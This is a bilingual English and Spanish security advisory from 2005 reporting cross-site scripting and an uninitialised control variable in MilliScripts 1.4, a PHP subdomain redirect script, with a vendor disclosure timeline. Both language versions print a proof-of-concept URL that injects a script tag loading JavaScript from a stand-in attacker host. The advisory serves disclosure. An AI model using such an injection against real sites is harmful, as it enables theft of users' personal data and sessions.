################################################################### Full PDF Advisory: http://securitynation.com/files/sndown.php?id=22 english http://securitynation.com/files/sndown.php?id=22 spanish ################################################################### Multiple Bugs On MilliScripts 1.4 Redirection http://www.milliscripts.at Date: 01-Diciembre-2005 Researchers: Luis Alberto Cortes Zavala, Vicente Perez 1.-Overview MilliScripts 1.4 Is a free redirect script for starting your own service of subdomains, without any complex configuration at your Server and with so many functions. For more information go to www.milliscripts.at 2.-Description By all the source code there are a lot of bugs that can be found easily, more of them are XSS, but is quite possible to have some PHP Injection, however, you can lie to a user to try to open some malformed url, with his control panel and get some personal information with XSS. A Basic example is the var $domainname http://www.server.net/red_14/register.php?do=register2&domainname=%22%3E %3Cs cript%20src=http://serveratacker.com/script.js%3E%3C/script%3E&ext=somev alid domain.net So, we have other bugs founded on the code, like this next example, that is a var, who decides the program flow, who is not set by when the users call the function that is needed: if($autoappr == "on") { //some code}else{//some code} $autoappr value is nothing, and is not declared before 3.- Disclosure Time Line Vendor Contacted: 07-December-2005 Vendor Response: 09-December-2005 Vendor answer: the scripts are quite old, and they haven't been further developed since a few years. 5.- Copyright http://www.securitynation.com - Security Nation is a Lab Supported by RISS Security Services. http://www.riss.com.mx luis.cortes (at) riss.com (dot) mx [email concealed] vicente.perez (at) riss.com (dot) mx [email concealed] ######################################################################## #### ################# Spanish Version of Advisory ######################################################################## #### ################# Multiple Bugs On MilliScripts 1.4 Redirection http://www.milliscripts.at 01-Diciembre-2005 Investigadores: Luis Alberto Cortes Zavala, Vicente Perez 1.-Vista Previa MilliScripts 1.4 Es un script que permite abrir tu propio servicio de redireccin de subdominios, sin alterar registros absolutos en tu servidor, es un script potente y con muchas funciones, suficientes par aponer un servicio del estilo de cjb.net. Para mas informacin remitirse al sitio Web www.milliscripts.at 2.-Descripcin A lo largo del sistema existen diferentes fallos y mltiples XSS, que son fcilmente explotables, siendo este no un problema de inicio se puede conseguir que un usuario abra su panel de control y obtener datos confidenciales, as mismo no se descarta la posibilidad de inyeccin remota de cdigo PHP. Un ejemplo bsico esta en la variable $domainname que es fcilmente explotable: http://www.server.net/red_14/register.php?do=register2&domainname=%22%3E %3Cs cript%20src=http://serveratacker.com/script.js%3E%3C/script%3E&ext=somev alid domain.net Entre otros errores encontrados en el cdigo se denota un ciclo, la aplicacin tiene la opcin de autorizar usuarios nuevos o auto aprobarlos, sin embargo en el cdigo no esta correctamente implementado como se denota a continuacin: if($autoappr == "on") { //some code}else{//some code} En esta lnea de cdigo el flujo del programa se define de acuerdo al valor de la variable, cosa que en la revisin del cdigo es errnea ya que la variable no tiene ningn valor al ser usada, de hecho ni siquiera existe en la pila porque no haba sido declarada en ningn momento. 3.- Tiempo de lnea de Disclosure Contacto con el Desarrollador: 07-Diciembre-2005 Respuesta del Desarrollador: 09-Diciembre-2005 El script es viejo y esta fuera de mantenimiento, sin embargo podemos remitir la informacin tcnica, probablemente saque alguna actualizacin si se encuentra la necesidad. 5.- Copyright http://www.securitynation.com - Security Nation is a Lab Supported by RISS Security Services. http://www.riss.com.mx luis.cortes (at) riss.com (dot) mx [email concealed] vicente.perez (at) riss.com (dot) mx [email concealed]